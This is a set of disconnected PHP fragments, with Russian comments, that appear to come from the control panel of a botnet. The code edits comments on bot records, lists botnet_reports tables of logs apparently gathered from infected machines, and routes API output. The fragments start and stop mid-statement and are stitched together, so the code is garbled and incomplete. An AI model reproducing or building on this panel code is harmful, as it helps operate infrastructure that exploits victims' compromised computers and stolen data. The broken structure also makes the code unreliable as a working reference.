Plugin_Reports_DB_Connect::connect(); } if (isset($_GET['ajax'])) { try { require_once 'system/lib/dbpdo.php'; require_once 'system/lib/MVC.php'; $db = dbPDO::singleton(); switch ($_GET['ajax']) { case 'bot-comment': $q = $db->prepare('UPDATE `botnet_list` SET `comment`=:comment WHERE `bot_id`=:botId;'); $q->execute(array(':botId' => $_REQUEST['botId'], ':comment' => $_REQUEST['comment'])); break; } die; } catch (Exception $e) { http_error400('Exception ' . get_class($e) . ':' . $e->getMessage()); die; } } $_allow_remove = !empty($userData['r_reports_db_edit']); $rlist = listReportTables(); //Получение списка таблиц botnet_reports_*. /////////////////////////////////////////////////////////////////////////////////////////////////// // Вывод отдельного лога. /////////////////////////////////////////////////////////////////////////////////////////////////// /* Brief View Mode */ if (isset($_GET['t'], $_GET['id'], $_GET['viewmode'])) { require_once 'system/lib/dbpdo.php'; $_GET['t'] = (int) $_GET['t']; $_GET['id'] = (int) $_GET['id']; switch ($_GET['viewmode']) {
$router = Router::forClass(CURRENT_MODULE); $response = $router->invoke($neededControllerAction, $_REQUEST); } catch (NoControllerRouteException $e) { return http_error400('Unknown module: ' . $e->getMessage()); } catch (NoMethodRouteException $e) { return http_error400('Unknown action: ' . $e->getMessage()); } catch (ParamRequiredRouteException $e) { return http_error400('Missing param: ' . $e->getMessage()); } catch (ShouldBeArrayRouteException $e) { return http_error400('Param should be an array: ' . $e->getMessage()); } catch (ActionException $e) { return http_error400($e->getMessage()); } catch (PDOException $e) { return http_error400('Database error: ' . $e); } catch (Exception $e) { return http_error400('Generic error: ' . $e); } } die; /////////////////////////////////////////////////////////////////////////////////////////////////// // Функции. /////////////////////////////////////////////////////////////////////////////////////////////////// /* Получение ошибки MySQL с формотированием HTML и префиксом. Return - string, ошибка MySQL. */ function mysqlErrorEx() { return 'MySQL error: ' . htmlEntitiesEx(mysql_error()); }
} catch (NoControllerRouteException $e) { return http_error400('Unknown controller: ' . $e->getMessage()); } catch (NoMethodRouteException $e) { return http_error400('Unknown method: ' . $e->getMessage()); } catch (ParamRequiredRouteException $e) { return http_error400('Missing param: ' . $e->getMessage()); } catch (ShouldBeArrayRouteException $e) { return http_error400('Param should be an array: ' . $e->getMessage()); } catch (ActionException $e) { return http_error400($e->getMessage()); } // Format the response switch ($components['.']) { case 'dump': var_dump($response); break; case 'php': print var_export($response, 1); break; case 'json': header('Content-Type: application/json;charset=UTF-8'); header('Allow-Origin: *'); print json_encode($response); break; case 'xml': header('Content-Type: application/xml;charset=UTF-8'); print XMLdata($response, $components['action'])->asXML(); break; default: return http_error400('Unsupported format'); }